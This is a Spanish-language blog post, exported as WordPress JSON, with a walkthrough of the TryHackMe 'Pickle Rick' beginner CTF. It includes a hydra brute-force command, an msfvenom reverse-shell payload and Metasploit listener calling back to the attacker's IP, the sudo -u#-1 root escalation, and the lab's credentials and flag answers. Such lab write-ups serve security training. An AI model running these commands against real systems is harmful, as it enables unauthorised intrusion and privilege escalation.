{"id":98,"date":"2023-09-05T17:19:14","date_gmt":"2023-09-05T20:19:14","guid":{"rendered":"https:\/\/mauriciobeltran.cl\/?p=98"},"modified":"2023-09-05T22:54:14","modified_gmt":"2023-09-06T01:54:14","slug":"tryhackme-pickle-rick-resuelto","status":"publish","type":"post","link":"https:\/\/mauriciobeltran.cl\/index.php\/2023\/09\/05\/tryhackme-pickle-rick-resuelto\/","title":{"rendered":"TryHackMe &#8211; Pickle Rick (resuelto)"},"content":{"rendered":"\n<p>Este CTF para Beginners nos pide encontrar 3 ingredientes de la poci\u00f3n para volver a la normalidad a Rick<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"rick-user\">Rick user<\/h2>\n\n\n\n<p>Si inspeccionamos la pagina nos encontraremos con el usuario de rick comentado. Esta info nos es util para ataques por diccionario. Pero veamos que mas pillamos.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n&amp;lt;!--\n    Note to self, remember username!\n    Username: R1ckRul3s\n--&gt;\n\n<\/pre><\/div>\n\n\n<h2 class=\"wp-block-heading\" id=\"escaneando-la-maquina\">Escaneando la m\u00e1quina<\/h2>\n\n\n\n<p>La verdad es que si escaneamos no nos dice mucho, un puerto 22 y un 80.<\/p>\n\n\n\n<p>El puerto 22 tiene deshabilitado el login por contrase\u00f1a, la version no es explotable tampoco, as\u00ed que mientras no tengamos la llave, ni so\u00f1ar.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"escaneando-la-pagina\">Escaneando la pagina web<\/h2>\n\n\n\n<p>Vamos a usar nikto para listar posibles archivos de inter\u00e9s.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nnikto -host 10.10.229.151\n\n<\/pre><\/div>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\n- Nikto v2.1.5\n---------------------------------------------------------------------------\n+ Target IP:          10.10.229.151\n+ Target Hostname:    ip-10-10-229-151.eu-west-1.compute.internal\n+ Target Port:        80\n+ Start Time:         2023-09-05 00:36:09 (GMT1)\n---------------------------------------------------------------------------\n+ Server: Apache\/2.4.18 (Ubuntu)\n+ Server leaks inodes via ETags, header found with file \/, fields: 0x426 0x5818ccf125686 \n+ The anti-clickjacking X-Frame-Options header is not present.\n+ No CGI Directories found (use '-C all' to force check all possible dirs)\n+ &quot;robots.txt&quot; retrieved but it does not contain any 'disallow' entries (which is odd).\n+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS \n+ Cookie PHPSESSID created without the httponly flag\n+ OSVDB-3233: \/icons\/README: Apache default file found.\n+ \/login.php: Admin login page\/section found.\n+ 6544 items checked: 0 error(s) and 7 item(s) reported on remote host\n+ End Time:           2023-09-05 00:36:17 (GMT1) (8 seconds)\n---------------------------------------------------------------------------\n+ 1 host(s) tested\n\n<\/pre><\/div>\n\n\n<p>Algunas cosas interesantes es que entontramos un login.php y un archivo robots.txt<\/p>\n\n\n\n<p>login.php nos lleva aun login, ya tenemos el username por lo que nos falta encontrar la contrase\u00f1a.<\/p>\n\n\n\n<p>Podemos dejar un ataque por diccionario mientras vemos otras opciones.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nhydra -l R1ckRul3s -P \/usr\/share\/wordlists\/rockyou.txt 10.10.229.151 http-post-form &quot;\/login.php:username=^USER^&amp;password=^PASS^&amp;sub=Login:Invalid username or password.&quot; -V -F\n\n<\/pre><\/div>\n\n\n<p>En el robots.txt encontramos algo interesante, pero t\u00edpico de Rick.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nWubbalubbadubdub\n\n<\/pre><\/div>\n\n\n<p>Suena como a Rick, usemoslo como contrase\u00f1a.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"473\" src=\"https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-5-1024x473.png\" alt=\"\" class=\"wp-image-104\" srcset=\"https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-5-1024x473.png 1024w, https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-5-300x139.png 300w, https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-5-768x355.png 768w, https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-5.png 1256w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Entramos :D.<\/p>\n\n\n\n<p>Tenemos un command panel que al parecer nos permite jugar, veamos que hay:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"473\" src=\"https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-6-1024x473.png\" alt=\"\" class=\"wp-image-106\" srcset=\"https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-6-1024x473.png 1024w, https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-6-300x139.png 300w, https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-6-768x355.png 768w, https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-6.png 1256w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Si listamos que hay, nos encontramos con un archivo llamado Sup3rS3cretPickl3Ingred.txt<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>What is the first ingredient that Rick needs?&nbsp;<strong>mr. meeseek hair<\/strong><\/li>\n<\/ol>\n\n\n\n<p>Tambi\u00e9n hay otro archivo que dice clue.txt<\/p>\n\n\n\n<p>Al revisarlo nos dice que revisemos el filesystem.<\/p>\n\n\n\n<p>Hice varias cosas, pero al final di con lo siguiente mediante find:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"623\" height=\"504\" src=\"https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-12.png\" alt=\"\" class=\"wp-image-116\" srcset=\"https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-12.png 623w, https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-12-300x243.png 300w\" sizes=\"auto, (max-width: 623px) 100vw, 623px\" \/><\/figure>\n\n\n\n<p>\u00abcat\u00bb no funciona porque est\u00e1 deshabilitado, por lo que tendremos que \u00ableerlo\u00bb de alguna manera. Usemos base64 para aquello:<\/p>\n\n\n\n<p><code>base64 \/home\/rick\/second\\ ingredients | base64 --decode<\/code><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"608\" height=\"321\" src=\"https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-13.png\" alt=\"\" class=\"wp-image-117\" srcset=\"https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-13.png 608w, https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-13-300x158.png 300w\" sizes=\"auto, (max-width: 608px) 100vw, 608px\" \/><\/figure>\n\n\n\n<ol class=\"wp-block-list\" start=\"2\">\n<li>What is the second ingredient in Rick\u2019s potion?:&nbsp;<strong>1 jerry tear<\/strong><\/li>\n<\/ol>\n\n\n\n<p>Nos faltar\u00eda el \u00faltimo ingrediente y obvio, tenemos que escalar a root.<\/p>\n\n\n\n<p>Por un lado generamos una shell reversa<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nmsfvenom -p linux\/x86\/shell\/reverse_tcp LHOST=10.8.153.49 LPORT=4444 -f elf &gt; shell-x86.elf\n&#x5B;-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload\n&#x5B;-] No arch selected, selecting arch: x86 from the payload\nNo encoder specified, outputting raw payload\nPayload size: 123 bytes\nFinal size of elf file: 207 bytes\n<\/pre><\/div>\n\n\n<p>descargamos linpeas.sh<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nwget https:\/\/github.com\/carlospolop\/PEASS-ng\/releases\/latest\/download\/linpeas.sh \n\n<\/pre><\/div>\n\n\n<p>levantamos servidor http local<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\npython -m http.server 80                                                        \nServing HTTP on 0.0.0.0 port 80 (http:\/\/0.0.0.0:80\/) ...\n\n<\/pre><\/div>\n\n\n<p>En el prompt descargamos el shell creado anteriormente y le damos permisos de ejecucion<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"613\" height=\"248\" src=\"https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-7.png\" alt=\"\" class=\"wp-image-110\" srcset=\"https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-7.png 613w, https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-7-300x121.png 300w\" sizes=\"auto, (max-width: 613px) 100vw, 613px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"623\" height=\"249\" src=\"https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-8.png\" alt=\"\" class=\"wp-image-111\" srcset=\"https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-8.png 623w, https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-8-300x120.png 300w\" sizes=\"auto, (max-width: 623px) 100vw, 623px\" \/><\/figure>\n\n\n\n<p>En el prompt descargamos linepeas y le damos permisos de ejecucion<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"651\" height=\"263\" src=\"https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-9.png\" alt=\"\" class=\"wp-image-112\" srcset=\"https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-9.png 651w, https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-9-300x121.png 300w\" sizes=\"auto, (max-width: 651px) 100vw, 651px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"689\" height=\"260\" src=\"https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-10.png\" alt=\"\" class=\"wp-image-113\" srcset=\"https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-10.png 689w, https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-10-300x113.png 300w\" sizes=\"auto, (max-width: 689px) 100vw, 689px\" \/><\/figure>\n\n\n\n<p>En nuestra maquina atacante levantamos metasploit y generamos el listener<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nuse multi\/handler\n\n<\/pre><\/div>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nuse payload linux\/x86\/shell\/reverse_tcp\nuse 0\nset lhost 10.8.153.49\nexploit\n\n<\/pre><\/div>\n\n\n<p>En el command panel ejecutamos el shell reverso<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"623\" height=\"245\" src=\"https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-11.png\" alt=\"\" class=\"wp-image-114\" srcset=\"https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-11.png 623w, https:\/\/mauriciobeltran.cl\/wp-content\/uploads\/2023\/09\/image-11-300x118.png 300w\" sizes=\"auto, (max-width: 623px) 100vw, 623px\" \/><\/figure>\n\n\n\n<p>Eso levantara nuestra shell en metasploit<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nmsf6 payload(linux\/x86\/shell\/reverse_tcp) &gt; \n&#x5B;*] Started reverse TCP handler on 10.8.153.49:4444 \n&#x5B;*] Sending stage (36 bytes) to 10.10.194.228\n&#x5B;*] Command shell session 1 opened (10.8.153.49:4444 -&gt; 10.10.194.228:55854) at 2023-09-05 15:50:54 -0400\n<\/pre><\/div>\n\n\n<p>ya adentro, ejecutramos linepeas para que busque vulnerabilidades y nosotros a tomar cafecito.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\n\/tmp\/linepeas.sh\n<\/pre><\/div>\n\n\n<p>Dentro de lo que nos avisa, es de un exploit que afecta a la version de sudo que afecta las versiones menores a 1.28<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563 Sudo version\n\u255a https:\/\/book.hacktricks.xyz\/linux-hardening\/privilege-escalation#sudo-version                                                                                                                                                             \nSudo version 1.8.16 \n\n<\/pre><\/div>\n\n\n<p>Exploiting<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nsudo -u#-1 \/bin\/bash\n\n<\/pre><\/div>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nwhoami\nroot\n\n<\/pre><\/div>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nls \/root\n3rd.txt\nsnap\n\n<\/pre><\/div>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\ncat \/root\/3rd.txt\n3rd ingredients: fleeb juice\n\n<\/pre><\/div>\n\n\n<ol class=\"wp-block-list\" start=\"3\">\n<li>What is the last and final ingredient?:&nbsp;<em><strong>fleeb juice<\/strong><\/em><\/li>\n<\/ol>\n\n\n\n<p>Y con eso estamos <\/p>\n\n\n\n<p>P.D.: Hice varias cosas manuales antes de ejecutar linpeas, pero es incre\u00edble el tiempo que te ahorra la dichosa herramienta. :D.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Este CTF para Beginners nos pide encontrar 3 ingredientes de<\/p>\n","protected":false},"author":1,"featured_media":119,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6,7],"tags":[12,9],"class_list":["post-98","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cybersec","category-ethical-hacking","tag-pickle-rick","tag-tryhackme"],"_links":{"self":[{"href":"https:\/\/mauriciobeltran.cl\/index.php\/wp-json\/wp\/v2\/posts\/98","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/mauriciobeltran.cl\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mauriciobeltran.cl\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mauriciobeltran.cl\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mauriciobeltran.cl\/index.php\/wp-json\/wp\/v2\/comments?post=98"}],"version-history":[{"count":13,"href":"https:\/\/mauriciobeltran.cl\/index.php\/wp-json\/wp\/v2\/posts\/98\/revisions"}],"predecessor-version":[{"id":124,"href":"https:\/\/mauriciobeltran.cl\/index.php\/wp-json\/wp\/v2\/posts\/98\/revisions\/124"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/mauriciobeltran.cl\/index.php\/wp-json\/wp\/v2\/media\/119"}],"wp:attachment":[{"href":"https:\/\/mauriciobeltran.cl\/index.php\/wp-json\/wp\/v2\/media?parent=98"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mauriciobeltran.cl\/index.php\/wp-json\/wp\/v2\/categories?post=98"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mauriciobeltran.cl\/index.php\/wp-json\/wp\/v2\/tags?post=98"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}